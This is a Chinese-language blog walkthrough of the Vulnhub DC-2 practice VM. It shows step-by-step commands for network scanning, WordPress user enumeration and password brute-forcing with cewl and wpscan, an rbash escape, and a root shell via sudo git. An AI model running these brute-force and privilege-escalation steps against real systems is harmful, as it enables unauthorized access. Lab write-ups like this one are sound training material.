Vulnhub-DC-2 靶机复现完整过程

最新推荐文章于 2024-05-10 23:55:38 发布
最新推荐文章于 2024-05-10 23:55:38 发布
阅读量1.1k 收藏 25
点赞数 24
分类专栏： # 红队打靶 文章标签： web安全 网络安全 安全 笔记
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/continuejww/article/details/134946731
版权

环境准备：
kali: NAT模式 网段 ：192.168.200.0
DC-2: NAT模式 网段 ：192.168.200.0
保证靶机和攻击机在一个网段上

信息收集
收集同网段存货主机IP地址

nmap -sP  ip地址

image.png

arp-scan -l

image.png
显示错误页面，显然是重定向错误，在本地HOST文件中添加这样的关系
image.png
本地中
image.png
kali中host地址

vim /etc/hosts

以上都可以
image.png
之后就重定向正常页面啦
第一flag提示
image.png
cewl 介绍

cewl是一个ruby应用，爬行指定url的指定深度。
也可以跟一个外部链接，结果会返回一个单词列表，
这个列表可以扔到John the ripper工具里进行密码破解。

-w   将输出结果写入到文件中
-d  爬行深度，默认为2
-m 最小长度，默认为3

cewl http://dc-2 -w passwd.txt #扒取网站字典，将结果输入到passwd.txt中

image.png
用 cewl http://192.168.28.179 -w passwd.txt ，但是没有输出，应该是IP地址给重定向了，用域名进行扒取

cat passwd.txt #查看字典内容

image.png
有密码字典 还需要找账号和登陆后台。
用dirb命令来挖目录
:::success
扩展：获取网站目录目录的工具有：dirb(kali自带)、御剑、dirsearch。
:::

dirb http://dc-2

image.png
image.png
登陆页面，通过插件可以知道，这是WordPress的CMS ，漏扫工具是wpscan
image.png

目前已经获取了网站的后台网址和密码，现在还差用户名，那么

wpscan --url http://dc-2/ -e u #枚举用户名

:::success
参数：wpcan 参数
-u 枚举用户名
-P 加指定文件 ，代表密码文件
-U 加指定文件，代表账户文件
:::
最终可以查到三个用户名
image.png
将枚举出的用户名保存到文件中
image.png

wpscan --url http://dc-2/ -U user.txt -P passwd.txt #爆破WordPress的账号和密码

image.png
结果，爆破出jerry和tom的密码
image.png
利用其一的账户和密码进行登录
image.png
登陆成功，这便是后台页面
image.png

flag1

image.png

flag2

image.png

If you can't exploit WordPress and take a shortcut, there is another way.
# 如果你不能用 WordPress 走捷径的话，这里还有另一条路

Hope you found another entry point.
# 希望你能找到另一个切入点

前面的端口号还有一个7744的端口使用
使用jerry测试三组全部失败
image.png
接着尝试，Tom账户是可以登录的
image.png

image.png

compgen -c       //查看可以使用的指令

发现有一个VI 指令是可以使用的
image.png
文件显示内容，发现FLAG3.txt，并成功使用和打开
image.png

flag3.txt

poor old Tom is always running after Jerry.
# 可怜的老汤姆总是在追杰瑞
Perhaps he should su for all the stress he causes.
# 也许他应该为自己造成的压力负责

英文当中，有两个账户tom,jerry， su这应该算是提示提权

vi 提权

vi flag3.txt
:set shell=/bin/sh  #shell需要时系统中原本就有的变量，不能自己捏造变量。
:shell

image.png
发现在jerry下的flag.txt 用vi查看
image.png

flag4.txt

image.png

Good to see that you've made it this far - but you're not home yet.
# 很高兴看到你走了这么远-但你还没回家。
You still need to get the final flag (the only flag that really counts!!!)
# 你仍然需要得到最终的标志（唯一真正重要的标志！！！） 
No hints here - you're on your own now. 
# 这里没有提示-你现在只能靠自己了。
Go on - git outta here!!!! 
# 去吧，离这里远点 #用 git 提权

英文提示：用git提权，最终还需要拿到root权限
前面FLAG3有提示su，切到root目录查看
image.png
进入root目录
image.png
不让切换，做了限制 su jerry 是不可以的
**什么是rbash？**它与一般shell的区别在于会限制一些行为，让一些命令无法执行

export -p        //查看环境变量
BASH_CMDS[a]=/bin/sh;a         //把/bin/sh给a
/bin/bash
export PATH=$PATH:/bin/         //添加环境变量
export PATH=$PATH:/usr/bin      //添加环境变量
提权成功

仍然权限不够
image.png
用sudo -l 查看可以运用的权限
git 是root的权限，可以提权
image.png

sudo git -p help 
!/bin/bash #输入!/bin/bash，即可打开一个用户为root的shell


git提权的两种方式
1、sudo git help config #在末行命令模式输入 
!/bin/bash 或 !'sh' #完成提权 
2、sudo git -p help 
!/bin/bash #输入!/bin/bash，即可打开一个用户为root的shell

final-flag.txt

image.png
image.png

:::tips
总结：

1.重定向 #在文件中加入域名和IP地址的关系映射
进入网页时出现错误情况，不会自动跳转到DC-2去，在本地DNS下绑定

2.cewl使用 #爬取URL地址和深度
flag的提示，使用cewl的命令，打印出密码破解的字典

3.wpscan使用 #扫描wordpress这个CMS的工具
暴力破解账户之前需要提供密码文件和账户文件

4.rbash提权
5.git提权
参考：https://www.cnblogs.com/starci/p/16484363.html

:::

文章参考：https://blog.csdn.net/a310034188/article/details/121624538
提权手段：https://www.cnblogs.com/zaqzzz/p/12075132.html#2rbash%E7%BB%95%E8%BF%87

爱吃大米饭'
关注
  • 24
    点赞
  • 踩
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Vulnhub靶机渗透测试 DC-7靶机
12-07
Vulnhub靶机渗透测试 DC-7靶机
Vulnhub靶机渗透测试 DC-9靶机
12-07
Vulnhub靶机渗透测试 DC-9靶机
Vulnhub靶机渗透测试 DC-3靶机
12-07
Vulnhub靶机渗透测试 DC-3靶机
Vulnhub靶机渗透测试 DC-8靶机
12-07
Vulnhub靶机渗透测试 DC-8靶机
Vulnhub-DC-3 靶机复现完整过程
Continuejww的博客
12-18 1351
攻击机和靶机的网络连接方式要相同，另外DC-1的网络连接方式我这里采用NAT模式，是与kali的网络连接模式相同的（当然亦可以选用桥接模式）在/templates/beez3模板里上传一个反弹shell的文件，记住上传路径，文件由自己创建，本文的文件名shell.php。Joomla后台可编辑模板，利用这个功能，在template下面创建一个 test.php，写入一句话，蚁剑成功连接。查找Ubuntu 16.04的提权，发现一个“拒绝服务漏洞”，可以用来提权。百度搜索后，可以发现千篇一律的sql漏洞。
VulnHub-Tr0ll1.zip
01-12
VulnHub-Tr0ll1靶机学习笔记，一部分是学习笔记过程，另一部分是学习过程整理的lol.pacp\.c文档、user.txt等文档，供大家参考学习
Vulnhub-DC-1 靶机复现完整过程
Continuejww的博客
07-19 180
1.扫描局域网主机netdiscover用法2.开放端口扫描2.MSF使用3.hydra爆破：sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.0.100hydra+John密码包以上两种方式可以爆出flag4的密码4.suid提权：Linux下用SUID提权、find命令exec欢迎指正！
Vulnhub-DC-7 靶机复现完整过程
Continuejww的博客
09-02 148
kali的靶攻击机IP地址：192.168.200.14DC-7靶机的IP地址：暂时未知注意：靶机和攻击机应处于一个网卡下通过MAC地址判断靶机DC-7的IP 地址。
Vulnhub-DC-5 靶机复现完整过程
Continuejww的博客
12-07 1126
注：最后提权那步失败了，若有大佬看到此文，还望指出问题，不胜感激！由于本靶机被搁置一段时间，IP地址会有变化故：192.168.200.11和92.168.200.58 都是靶机IP地址。
2024高校网络安全管理运维赛wp
toto的博客
05-07 2486
给了login的patch，没一点过滤，考虑普通用户登陆之后新建一个ADMIN，然后直接利用$toLower去覆盖admin的mongo集合。后面没有什么地方有有用信息了，根据题目钓鱼邮件，可能第三段flag就跟DMARC、DKIM 和 SPF有关了。可以先用fqlite看一遍，大概就可以看出flag是根据sort排的，（当然这一步没有问题也不是很大）解析一下主域名，得到提示有三段flag，估计就对应DMARC、DKIM 和 SPF三种方法了。定位到数据部分之后，一眼看到flag数据，接着就是顺序问题了。
网络安全之动态路由OSPF基础
m0_65858385的博客
05-07 935
要让3知道1的存在，所以OSPF要传递的信息要更多，也就是说OSPF传输的距离很远，所以OSPF对资源占用就很多，之所以做OSPF协议，主要RIP有问题，cost只有15，只要网络稍微大了点，超过cost15的值，RIP就用不了，所以OSPF使用的环境是路由器特别多，LSA种类多，LSA传播距离，传播范围很大，对于OSPF的算法，对于设备资源的消耗就很大，因此OSPF发明了一个区域area。ABR：区域边界路由器，如果一个路由器属于area 0 与非area 0的路由器就称为ABR，例如2，4就是ABR。
综合运维管理平台：全面监控、智能告警，筑牢网络安全防线
MXsoft618的博客
05-07 279
这种全面而细致的监控，使得管理员能够实时掌握网络中的每一个细节，从而确保网络环境的稳定性和安全性。我们相信，随着技术的不断进步和用户需求的不断变化，监控易将以其卓越的性能和灵活的操作方式，继续引领网络监控与管理的新潮流，为用户的网络安全保驾护航。无论是IP和网口的监控、定时扫描与异常告警，还是对交换机配置的实时监控与对比，都体现了监控易在网络安全管理方面的专业实力和创新精神。为了确保网络的顺畅运行，及时发现并解决潜在问题，监控易产品提供了强大的监控与告警功能，为用户的网络安全保驾护航。
网络安全（黑客）—-2024自学手册
xv7676的博客
05-06 1608
网络安全可以基于攻击和防御视角来分类，我们经常听到的 “红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如 Web 安全技术，既有 Web 渗透，也有 Web 防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。
网络安全之动态路由RIP详解
m0_65858385的博客
05-07 856
4没有学到1的路由信息，则4等待180S标记死亡状态，而这时3将这个路由信息发送过来了，从1->2->3来的度量值为3，但4不接收，因为接收过1发来的更优的路由信息，按理说4应该去学习3发来的这个路由，虽然更次了点，但RIP认为如果这个网络更复杂点，带宽比较低的情况下，RIP工作效率比较低，这条1.1.1.0/24的路由也是1给2，2给3，3给4的，其实1.1.1.0/24已经不存在了，但因为2，3这些设备没有到180S，一旦4学习了这条路由，则2与3之间又会出现路由环路问题。所以30S更新时间时。
网络安全的未来：挑战、策略与创新
weixin_51347473的博客
05-07 412
这篇文章提供了对网络安全当前状态的概述，并提出了个人和企业可以采取的措施，同时也探讨了新兴技术在未来网络安全中的潜在作用。网络安全是一个不断发展的领域，需要个人、企业和政府机构的共同努力。通过采取适当的预防措施、投资先进技术和培养安全文化，我们可以提高对网络威胁的抵御能力，保护我们的数字世界。此外，随着远程工作和物联网设备的普及，网络安全的边界将变得更加模糊，需要更加灵活和适应性强的安全解决方案。随着网络攻击的日益频繁和复杂化，如何有效保护数据和隐私成为了一个全球性的挑战。
探索静态住宅代理IP：网络安全的隐形守护者
superLxhao的博客
05-08 314
随着网络安全意识的不断提高和网络技术的不断发展，静态住宅代理IP将在未来发挥更加重要的作用。一方面，随着大数据和人工智能技术的广泛应用，静态住宅代理IP将在数据采集和分析方面发挥更大的价值。另一方面，随着网络安全威胁的不断升级，静态住宅代理IP将成为保护用户隐私和安全的重要工具。与传统的数据中心代理或动态代理相比，静态住宅代理IP具有更高的真实性和稳定性。它通常来自真实的住宅网络，通过模拟普通用户的网络行为，为用户提供更加真实、可靠的代理服务。选择合适的静态住宅代理IP服务是保障网络安全和隐私的关键。
速盾：如何选择适合自己的网络安全解决方案？
最新发布
zhuguowang01的博客
05-10 175
总之，选择适合自己的网络安全解决方案需要综合考虑多个方面，包括网络规模和需求、综合安全性、简便性和易用性、兼容性、价格和性价比、技术支持和售后服务等。尤其是对于大型企业和组织来说，已经投资了很多的网络设备和系统，所以选择网络安全解决方案时，要考虑是否能够与现有设备和系统无缝集成。网络规模和需求：首先要了解自己的网络规模和需求，包括网络设备的数量和类型，以及对网络安全的具体需求。选择适合自己的网络安全解决方案是非常重要的，因为网络安全问题涉及到个人隐私和重要数据的保护。
探索国外静态住宅代理：保护网络安全与隐私的利器
superXiaoH的博客
05-09 287
国外静态住宅代理作为一种新兴的网络技术，为我们提供了有效的网络安全和隐私保护手段。通过选择合适的代理提供商和合理的应用场景，我们可以充分利用这一技术的优势，保护自己的网络安全和隐私。在未来，随着网络技术的不断发展，国外静态住宅代理的应用场景也将越来越广泛，成为我们网络生活的重要组成部分。国外静态住宅代理是一种位于国外的代理服务器，它通过提供一个位于国外的IP地址来保护用户信息。在选择国外静态住宅代理时，用户需要考虑多个因素，包括代理服务器的地理位置、网络速度、稳定性和安全性等。一、什么是国外静态住宅代理？
网络安全在数字时代的重要性：以近期网络安全事件为镜
2403_84237550的博客
05-10 681
面对不断升级的网络安全挑战，我们必须持续加强防范，不断提升应对能力，确保网络空间的和平、安全与稳定。近年来，网络安全事件频发，从个人隐私泄露到企业数据被盗，再到国家级别的网络攻击，每一次事件都在为我们敲响警钟，提醒我们网络安全的重要性不容忽视。通过渗透供应链中的薄弱环节，攻击者能够迅速扩散影响范围，如某知名软件供应商遭入侵，导致其产品中被植入恶意代码，影响了成千上万的下游用户。1. 加强法律法规建设：完善网络安全相关的法律法规，明确责任主体，加大对违法行为的惩处力度，形成有效震慑。
vulnhub靶机-jangow: 1.0.1
03-16
vulnhub靶机-jangow: 1..1是一款用于渗透测试和漏洞攻击的虚拟机。它基于Ubuntu操作系统，包含多个漏洞和弱点，供安全专业人员进行测试和实践。该靶机的目标是获取root权限，并且需要使用各种技术和工具来完成任务。对于想要提高渗透测试技能的安全从业者来说，这是一个非常有用的学习资源。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值